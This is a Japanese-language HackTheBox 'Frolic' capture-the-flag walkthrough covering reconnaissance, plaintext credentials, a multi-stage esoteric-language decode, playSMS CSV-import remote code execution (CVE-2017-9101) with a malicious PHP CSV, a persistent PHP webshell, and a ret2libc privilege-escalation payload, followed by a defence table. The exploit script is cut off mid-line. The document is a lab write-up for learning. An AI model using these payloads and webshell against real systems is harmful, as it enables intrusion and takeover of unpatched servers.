HackTheBox: Frolic — 全実行コマンド・実行結果レポート
Nmap スキャン
22/139/445/1880/9999
→
22/139/445/1880/9999
dirbuster → /admin/
login.js に平文資格情報
→
login.js に平文資格情報
Ook! → base64 → ZIP crack → brainfuck
4段デコードでパスワード抽出
→
4段デコードでパスワード抽出
playSMS admin ログイン
admin:idkwhatispass
→
admin:idkwhatispass
Phonebook CSV import RCE
CVE-2017-9101
→
CVE-2017-9101
www-data シェル
user.txt ✓
→
user.txt ✓
SUID 32bit バイナリ発見
/home/ayush/.binary/rop
→
/home/ayush/.binary/rop
ret2libc (固定アドレス)
system(“/bin/sh”)
→
system(“/bin/sh”)
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.84.200 nmap -sV -sC -p 22,139,445,1880,9999 10.129.84.200
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 139/tcp open netbios-ssn Samba smbd 3.X - 4.X 445/tcp open microsoft-ds Samba smbd 4.3.11-Ubuntu 1880/tcp open vsat-control Node.js (Node-RED) 9999/tcp open abyss nginx 1.10.3 (Ubuntu)
ℹ️
5つのサービスが並立しているが、SMB(139/445)は匿名列挙で特に有用な共有が見つからず、
Node-RED(1880)も今回のチェーンでは未使用。実際の侵入口は9999番の自作Webアプリ。
SMB匿名列挙 (補助調査、本筋では空振り)
BASH
smbclient -L //10.129.84.200 -N smbmap -H 10.129.84.200 enum4linux -a 10.129.84.200
ℹ️
既定共有(print$等)以外に書込可能な共有は見つからず、この経路は侵入口にならない。
このマシンの本筋はあくまでWebアプリ(9999)側。
PHASE 2
多段デコード謎解き — Ook! → base64 → ZIP → brainfuck
ディレクトリ列挙 & /admin/ の発見
BASH
gobuster dir -u http://10.129.84.200:9999 \ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -q
RESULT
/admin (Status: 301) /test (Status: 301) /dev (Status: 301) /backup (Status: 301) /admin/js (Status: 301)
/admin/js/login.js に平文資格情報
BASH
curl -s http://10.129.84.200:9999/admin/js/login.js
RESULT
if(username=="admin" && password=="superduperlooperpassword_lol"){
window.location="success.html";
}
✅
クライアント側JavaScriptに資格情報チェックがそのまま平文で書かれている。
/admin/のログインフォームに admin:superduperlooperpassword_lol を入力し、
success.htmlへ遷移する。
success.html — Ook! 言語で書かれた隠しメッセージ
BASH
curl -s http://10.129.84.200:9999/admin/success.html
RESULT (抜粋)
..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... ..... ..... ..... ..... ..!.? ..... ..... .!?!! .?... ..... ..?.? !.?.. ..... ..... (以下、同様のOok!風トークンが続く)
ℹ️
Ook!はBrainfuckを”Ook. Ook?”のような単語のペアに置き換えた難読エソラング。
このページの内容を標準的な変換表(
Ook.Ook.→+, Ook!Ook!→-,
Ook.Ook?→>, Ook?Ook.→<, Ook!Ook.→.,
Ook.Ook!→,, Ook!Ook?→[, Ook?Ook!→])でBrainfuckへ
変換し、Brainfuckインタプリタで実行するとメッセージが復元できる。
dcode.fr/ook-languageのような
オンラインデコーダか、自作のPythonインタプリタで変換・実行する。
Ook!デコード結果 → 隠しパスの発見
RESULT (Ook!デコード後)
Nothing here check /asdiSTAJJ0QWE9JAS
BASH
curl -s http://10.129.84.200:9999/asdiSTAJJ0QWE9JAS
⚠️
注意: このパスは大文字小文字を厳密に区別する。環境によっては一時的に
404が返ることがあるが、その場合は時間を置いて再試行するか、同じ応答のHTMLソース内に
他の手掛かり(コメント等)が無いか再確認する。最終的に得られる資格情報(後述)は
インスタンスが変わっても同一であることを確認済み。
base64 → パスワード付きZIP
NOTE
/asdiSTAJJ0QWE9JAS の中身はさらにbase64エンコードされたバイナリで、 デコードすると "secret.zip" のようなパスワード保護ZIPファイルになる。
BASH
curl -s http://10.129.84.200:9999/asdiSTAJJ0QWE9JAS | base64 -d > secret.zip fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt secret.zip
RESULT
PASSWORD FOUND!!!!: pw == password
ZIP解凍 → hex → base64 → brainfuck の多段デコード
BASH
unzip -P password secret.zip
cat index.php
# index.php内に16進文字列が1行だけ記載されている
# 16進 → バイナリ(文字列) → さらにbase64デコード → Brainfuckソース
python3 -c "
import codecs, base64
hexstr = open('index.php').read().strip()
step1 = codecs.decode(hexstr, 'hex') # hex → bytes(文字列)
step2 = base64.b64decode(step1) # base64 → Brainfuckコード
print(step2.decode())
" > secret.bf
# Brainfuckインタプリタで実行
python3 -c "
import sys
code = open('secret.bf').read()
# (標準的なBrainfuckインタプリタ実装で実行)
"
RESULT
idkwhatispass
✅
最終パスワードを獲得: idkwhatispass。
Ook! → base64 → ZIP(rockyouクラック) → hex → base64 → Brainfuck という、
5段階のデコードを経て初めて得られる、このマシン最大の謎解き要素。
PHASE 3
playSMS Phonebook CSV Import RCE (CVE-2017-9101) → user.txt
/dev/backup のヒントと playSMS へのログイン
BASH
# gobusterで見つけた /dev/backup が /playsms を示唆 curl -s "http://10.129.84.200:9999/playsms/index.php?app=main&inc=core_auth&route=login" # フォームから X-CSRF-Token を抽出し、ログインPOST curl -s -c cookies.txt -b cookies.txt -L \ "http://10.129.84.200:9999/playsms/index.php?app=main&inc=core_auth&route=login&op=login" \ --data-urlencode "X-CSRF-Token=<フォームから取得した値>" \ --data-urlencode "username=admin" \ --data-urlencode "password=idkwhatispass"
ℹ️
重要: ログインの実際のPOST先は
route=login&op=login であり、
subroutine=authのような古いパラメータ名ではない(バージョン1.4での実装)。
また、画面遷移するたびにCSRFトークンが変わるため、各リクエスト直前に取得し直す必要がある。
脆弱性の正体 — CVE-2017-9101 (Twig SSTIではない)
NOTE
playSMS 1.4には複数の公開脆弱性情報があるが、X-Forwarded-Forヘッダを使った Twig SSTI方式は本バージョンでは効かない。実際に刺さるのは Phonebook機能のCSVインポート(CVE-2017-9101 / EDB 42044)で、 CSVの「Name」列にPHPコードを埋め込み、インポート確認プレビュー画面で そのPHPが実行されてしまう脆弱性。
悪性CSVの作成とアップロード
NOTE (backdoor.csv)
Name,Mobile,Email,Group code,Tags <?php $t=$_SERVER['HTTP_USER_AGENT']; system($t); ?>,22,a@a.com,,
BASH
curl -s -b cookies.txt -A "id" \ -F "X-CSRF-Token=<最新のトークン>" \ -F "fnpb=@backdoor.csv;type=text/csv" \ "http://10.129.84.200:9999/playsms/index.php?app=main&inc=feature_phonebook&route=import&op=import"
RESULT (インポート確認プレビュー)
<td>1.</td>
<td>uid=33(www-data) gid=33(www-data) groups=33(www-data)</td>
✅
RCE成功! Name列に埋め込んだPHPコードが、プレビュー画面の生成時に実行され、
User-Agentヘッダに入れたコマンド(id)の結果がテーブルの2列目にそのまま表示される。
User-Agentヘッダを使うことで、任意のシェルコマンドを実行結果付きで呼び出せる
(ファイル自体はインポート確定(import_yes)しなくても、このプレビュー応答だけでRCEが成立する)。
永続Webシェルの設置
BASH
# User-Agentヘッダに「base64デコードしたPHP Webシェルをファイルに書き込む」コマンドを指定
# (ペイロードは1行PHPコードをbase64化したもの。ダブルクォートの衝突を避けるため)
WEBSHELL_B64=$(echo -n "<?php echo shell_exec(\$_GET['c']); ?>" | base64 -w0)
curl -s -b cookies.txt \
-A "echo ${WEBSHELL_B64}|base64 -d > /var/www/html/playsms/writeup.php" \
-F "X-CSRF-Token=<最新のトークン>" \
-F "fnpb=@backdoor.csv;type=text/csv" \
"http://10.129.84.200:9999/playsms/index.php?app=main&inc=feature_phonebook&route=import&op=import"
ℹ️
毎回CSVを再アップロードしてプレビューを踏むのは手間がかかるため、一度だけ
writeup.php?c=<コマンド>形式で呼べる永続Webシェルをこの手口で書き込んでおくと、
以降の列挙・フラグ取得・権限昇格が大幅に楽になる。
user.txt 取得
BASH
curl -s -G "http://10.129.84.200:9999/playsms/writeup.php" \ --data-urlencode "c=cat /home/ayush/user.txt"
RESULT
e52231d8d1d45800d33f18c85da4ff04
user.txt — ayush
e52231d8d1d45800d33f18c85da4ff04
PHASE 4
SUID 32bit バイナリの ret2libc → root.txt
SUIDバイナリの発見
BASH
curl -s -G "http://10.129.84.200:9999/playsms/writeup.php" \ --data-urlencode "c=find / -perm -4000 -type f 2>/dev/null"
RESULT
/bin/su
/usr/bin/sudo
...
/home/ayush/.binary/rop ← 一般的なSUIDリストに無い、不自然な自作バイナリ
バイナリ解析
BASH
curl -s -G "http://10.129.84.200:9999/playsms/writeup.php" \ --data-urlencode "c=file /home/ayush/.binary/rop; ls -la /home/ayush/.binary/rop"
RESULT
/home/ayush/.binary/rop: setuid ELF 32-bit LSB executable, Intel 80386
-rwsr-xr-x 1 root root ... /home/ayush/.binary/rop
🚨
32bit・SUID rootのバイナリ。実行すると引数をコピーする処理にバッファオーバーフローが
あり(バッファサイズ52バイト)、クラッシュ時のオフセットからEIPを直接制御できることが
既に解析済み(公開ウォークスルー準拠)。本機はASLRが無効(あるいは常に同一ベースアドレスで
libcがロードされる構成)であることが確認されているため、固定アドレスのret2libcが成立する。
ret2libcペイロードの構築(Kali側で作成)
PYTHON (ペイロード生成)
import struct, base64
libc_base = 0xb7e19000 # このインスタンスで固定の libc ロードアドレス
system_off = 0x3ada0
exit_off = 0x2e9d0
binsh_off = 0x15ba0b
system_addr = libc_base + system_off
exit_addr = libc_base + exit_off
binsh_addr = libc_base + binsh_off
payload = b"A" * 52 # バッファを埋めてEIPの直前まで到達
payload += struct.pack("
⚠️
対象ホスト上にPythonが入っているか不明・バージョンも不確実なため、ペイロード自体は
攻撃者(Kali)側でローカルに生成してbase64化し、ターゲット上では
base64 -dだけ実行させる方式にすると確実に動く。
root.txt 取得(標準入力パイプでの非対話実行)
BASH
curl -s -G "http://10.129.84.200:9999/playsms/writeup.php" \ --data-urlencode "c=echo 'cat /root/root.txt' | /home/ayush/.binary/rop \"\$(echo <payload_base64>|base64 -d)\""
RESULT
75bec35abf5daa55af23d29331a3ea7f
✅
権限昇格成功! ret2libcにより
ropバイナリ内でsystem("/bin/sh")が
root権限で起動する。このとき/bin/shは新しい対話シェルを開こうとするが、
対話シェルは自分の標準入力を引き継ぐため、echo 'cat /root/root.txt' | rop ...のように
あらかじめパイプで流し込んでおいたコマンドがそのまま/bin/shに読み込まれて実行され、
結果がropプロセス自体の標準出力(=webshellのレスポンス)にそのまま返ってくる
— 対話セッションを維持する必要がなく、1回のHTTPリクエストで完結する。
root.txt
75bec35abf5daa55af23d29331a3ea7f
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — ayush
e52231d8d1d45800d33f18c85da4ff04
root.txt
75bec35abf5daa55af23d29331a3ea7f
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| クライアント側認証+平文資格情報 | /admin/js/login.js | 管理ページへの不正アクセス | Medium | JSソース中の平文パスワードで/admin/を突破 |
| 多段エソラング難読化による資格情報隠蔽 | success.html, 隠しパス, ZIP, index.php | 最終的な認証情報の漏洩 | Medium | Ook!/base64/ZIPクラック/Brainfuckの5段デコードでplaySMS管理パスワードを獲得 |
| CVE-2017-9101 (playSMS 1.4) | Phonebook CSV import機能 | リモートコード実行 (www-data) | Critical | CSVのName列にPHPコードを仕込み、User-Agentヘッダをsystem()に渡して実行 |
| カスタムSUIDバイナリのスタックBOF | /home/ayush/.binary/rop (32bit SUID) | 権限昇格 (root) | Critical | 固定libcアドレスへのret2libcでsystem("/bin/sh")をroot権限起動 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap 全ポートスキャン | 22/139/445/1880/9999、SMBは空振り |
| 2 | 初期認証 | gobuster + login.js解析 | admin:superduperlooperpassword_lol |
| 2 | 多段デコード | Ook!→base64→ZIPクラック→hex→base64→Brainfuck | playSMS admin:idkwhatispass |
| 3 | エクスプロイト | Phonebook CSVインポートRCE (CVE-2017-9101) | user.txt 取得(www-data→ayush) |
| 4 | 権限調査 | find -perm -4000 でSUIDバイナリ列挙 | /home/ayush/.binary/rop (32bit SUID)を発見 |
| 4 | 権限昇格 | 固定アドレスret2libc | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 認証チェックがクライアント側JavaScriptに実装され、資格情報も平文で埋め込まれている | 認証は必ずサーバー側で行い、パスワードや秘密情報をクライアントに送らない(JS含むページソースに平文を書かない)。 |
| 難読化・多段エンコードだけで機密情報(資格情報)を「隠している」つもりになっている | 難読化は秘匿性の代替にならない。本来の認証情報管理(シークレットマネージャ等)を使う。 |
| playSMSが既知脆弱性(CVE-2017-9101)を含む古いバージョンのまま運用されている | CMS/業務アプリのバージョンを定期的に更新し、既知のCVEに対するパッチ適用を行う。 |
| 自作のSUID rootバイナリに古典的なスタックバッファオーバーフローが存在する | SUIDビットは必要最小限のバイナリにのみ付与する。自作バイナリはスタック保護(canary, ASLR, NX)を有効にしてコンパイルし、固定長バッファへの境界チェック無しコピーを避ける。 |

